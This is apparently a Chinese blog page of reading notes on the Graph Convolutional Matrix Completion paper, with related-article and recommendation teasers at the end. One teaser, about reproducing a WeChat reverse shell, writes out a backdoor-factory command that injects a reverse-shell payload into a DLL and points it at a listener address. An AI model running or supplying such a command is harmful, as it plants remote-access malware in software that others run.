摘要:我们从链路预测的视角考虑推荐系统的matrix completion。像电影评分的交互数据可以表示为一个user-item的二分图,其中的edge表示观测到的评分。这种表示是特别有用的在额外的基于图的side information存在时。在近来深度学习在图结构数据上取得进展的基础上,我们基于二分图交互图上的differentiable message passing提出了一个图自编码器框架。进一步,为了验证提出的message passing 策略,我们在协同过滤任务上测试我们的模型并且展示出了competitive results.

Matrix Completion的解释参考矩阵补全(matrix completion)的经典算法有哪些?

1 Introduction

推荐系统的一个子任务就是matrix completion. 在这个工作中,我们把matrix completion视作在图上的链路预测问题:users和items的交互数据可以被表示成一个二分图,观测到的评分/购买用links表示。预测评分就对应于预测在二分图中的labeled links。

In accordance with (按照)这个观点,我们提出了图卷积矩阵不全(GC-MC):一个基于图的用于matrix completioin的自编码器框架,自编码器产生users和items节点的latent features通过一种在二分交互图上的message passing形式。这些 latent user and item representations被用来重构rating links通过一个bilinear decoder.

当recommender graph伴随着结构化的外部信息例如社交网络是,将matrix completion形式化为一个在二分图上的链路预测任务的好处是特别明显的。将这些外部信息和交互数据结合起来可以减轻与冷启动问题相关的性能瓶颈。我们的图自编码器模型有效的将交互数据和side information结合起来,without resorting to (不诉诸,不使用) 在文献[20]中的recurrent frameworks. 我们进一步展示出在存粹的协同过滤背景下,我们的方法能够compete with(角逐) 近来的 state of the art models.

我们的主要贡献如下:(1)我们把graph neural networks连同结构化的side-information(侧面信息)应用到matrix completion任务中,并且展示了我们简单的message passing model 性能优于更加复杂的基于图的方法例如文献[20]。(2)我们引入node dropout,一种有效的正则化技术。

开源实现可以在https://github.com/riannevdberg/gc-mc 上找到。

2 Matrix completion as link prediction in bipartite graphs

考虑一个rating matrix \(M ( N_u \times N_v)\),其中Nu是users的数量,Nv是items的数量。矩阵中一个非零的entry \(M_{ij}\)表示一个观测到的rating from user i for item j. \(M_{ij}=0\) 表示一个没有观测到的rating。我们matrix completion的任务就是预测M中没有观测到的entry。

可以把matrix completion看作是在一个二分图上的链路预测问题,这种connection(转换方法)之前在文献[16]中做过探索并且导致在推荐问题上基于图方法的发展.

之前在推荐系统上的基于图的方法(see [16] for an overview) 通常是利用一个 multi-stage pipeline,包括图特征抽取模型和一个链路预测模型,它们都是分别训练的。然而进来的结果已经表明对于无监督的学习和链路预测的实验结果可以被显著提升通过用end-to-end的学习技巧特别是使用图自编码器在图结构数据上建模。接下来,我们介绍一个在矩阵补全任务中特殊的图自编码器变体。我们将会展示graph-based side information是如何自然地被包括进去的。

2.1 Revisiting graph auto-encoders

我们revisit graph auto-encoders,这最开始由[12, 26]引入作为一个对于无向图上非监督学习[26]和链路预测[12]的end-to-end model。

论文阅读Graph Convolutional Matrix Completion的更多相关文章

  1. 2018年发表论文阅读:Convolutional Simplex Projection Network for Weakly Supervised Semantic Segmentation

    记笔记目的:刻意地.有意地整理其思路,综合对比,以求借鉴.他山之石,可以攻玉. <Convolutional Simplex Projection Network for Weakly Supe ...

  2. 论文解读 - Composition Based Multi Relational Graph Convolutional Networks

    1 简介 随着图卷积神经网络在近年来的不断发展,其对于图结构数据的建模能力愈发强大.然而现阶段的工作大多针对简单无向图或者异质图的表示学习,对图中边存在方向和类型的特殊图----多关系图(Multi- ...

  3. 论文解读GALA《Symmetric Graph Convolutional Autoencoder for Unsupervised Graph Representation Learning》

    论文信息 Title:<Symmetric Graph Convolutional Autoencoder for Unsupervised Graph Representation Learn ...

  4. 【论文笔记】Spatial Temporal Graph Convolutional Networks for Skeleton-Based Action Recognition

    Spatial Temporal Graph Convolutional Networks for Skeleton-Based Action Recognition 2018-01-28  15:4 ...

  5. 论文笔记之:Semi-supervised Classification with Graph Convolutional Networks

    Semi-supervised Classification with Graph Convolutional Networks 2018-01-16  22:33:36 1. 文章主要思想: 2. ...

  6. 论文阅读 | FCOS: Fully Convolutional One-Stage Object Detection

    论文阅读——FCOS: Fully Convolutional One-Stage Object Detection 概述 目前anchor-free大热,从DenseBoxes到CornerNet. ...

  7. 【论文阅读】Learning Dual Convolutional Neural Networks for Low-Level Vision

    论文阅读([CVPR2018]Jinshan Pan - Learning Dual Convolutional Neural Networks for Low-Level Vision) 本文针对低 ...

  8. [论文阅读笔记] GEMSEC,Graph Embedding with Self Clustering

    [论文阅读笔记] GEMSEC: Graph Embedding with Self Clustering 本文结构 解决问题 主要贡献 算法原理 参考文献 (1) 解决问题 已经有一些工作在使用学习 ...

  9. [论文阅读笔记] Are Meta-Paths Necessary, Revisiting Heterogeneous Graph Embeddings

    [论文阅读笔记] Are Meta-Paths Necessary? Revisiting Heterogeneous Graph Embeddings 本文结构 解决问题 主要贡献 算法原理 参考文 ...

随机推荐

  1. Dasha and Photos CodeForces - 761F (前缀优化)

    大意: 给定n*m初始字符矩阵, 有k个新矩阵, 第$i$个矩阵是由初始矩阵区间赋值得到的, 求选择一个新矩阵, 使得其余新矩阵到它距离和最小. 字符集比较小, 可以考虑每次区间覆盖对每个字符的贡献. ...

  2. WPF使用资源图片

    一.加载本项目的图片 WPF引入了统一资源表示Uri来标识和访问资源.其中较为常见的情况是用Uri加载图像.Uri表达式的一把形式为:协议+授权+路径 协议:pack:// 授权:有两种,一种用于访问 ...

  3. Vi编辑器中查找替换

    1 第一个是替换当前行的yesterday为all 第二个是替换全局的 yesterday 为all :s/yesterday/all :s/yesterday/all/g

  4. Ansible-Playbook实战

    一.Playbook 实战案例 1.准备环境 角色 外网IP(NAT) 内网IP(LAN) 部署软件 m01 eth0:10.0.0.61 eth1:172.16.1.61 ansible ly-ba ...

  5. requests:用于发送http请求,专为人类设计

    介绍 requests模块是一个专门用来发送http请求的模块 如何发送请求 import requests """ 使用requests模块发送请求非常简单 首先请求有 ...

  6. 2019.10.9wechat反弹shell复现

    ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...

  7. 移远模组-BC95-工作模式之间关系

    三种连接状态下,均可发送上行数据( CoAP/UDP): IDLE 下发送数据, 模块会进入 CONNECT 状态: PSM 下发送是数据会唤醒模块, 进入 CONNECT,或者当 TAU(TAU 的 ...

  8. QT Qdialog的对话框模式以及其关闭

    模式对话框 描述 阻塞同一应用程序中其它可视窗口输入的对话框.模式对话框有自己的事件循环,用户必须完成这个对话框中的交互操作,并且关闭了它之后才能访问应用程序中的其它任何窗口.模式对话框仅阻止访问与对 ...

  9. Linux驱动开发之字符设备驱动模型之file_operations

    90%的驱动模型都是按照下图开发的 下面来说下设备描述结构是什么东西 打开Linux-2.6.32.2的Source Insight 工程,搜索cdev 比如一个应用程序需要调用read和write这 ...

  10. 架构师成长之路5.5-Saltstack配置管理(状态间关系)

    点击架构师成长之路 架构师成长之路5.5-Saltstack配置管理(状态间关系) 配置管理工具: Pupper:1. 采用ruby编程语言:2. 安装环境相对较复杂:3.不支持远程执行,需要FUNC ...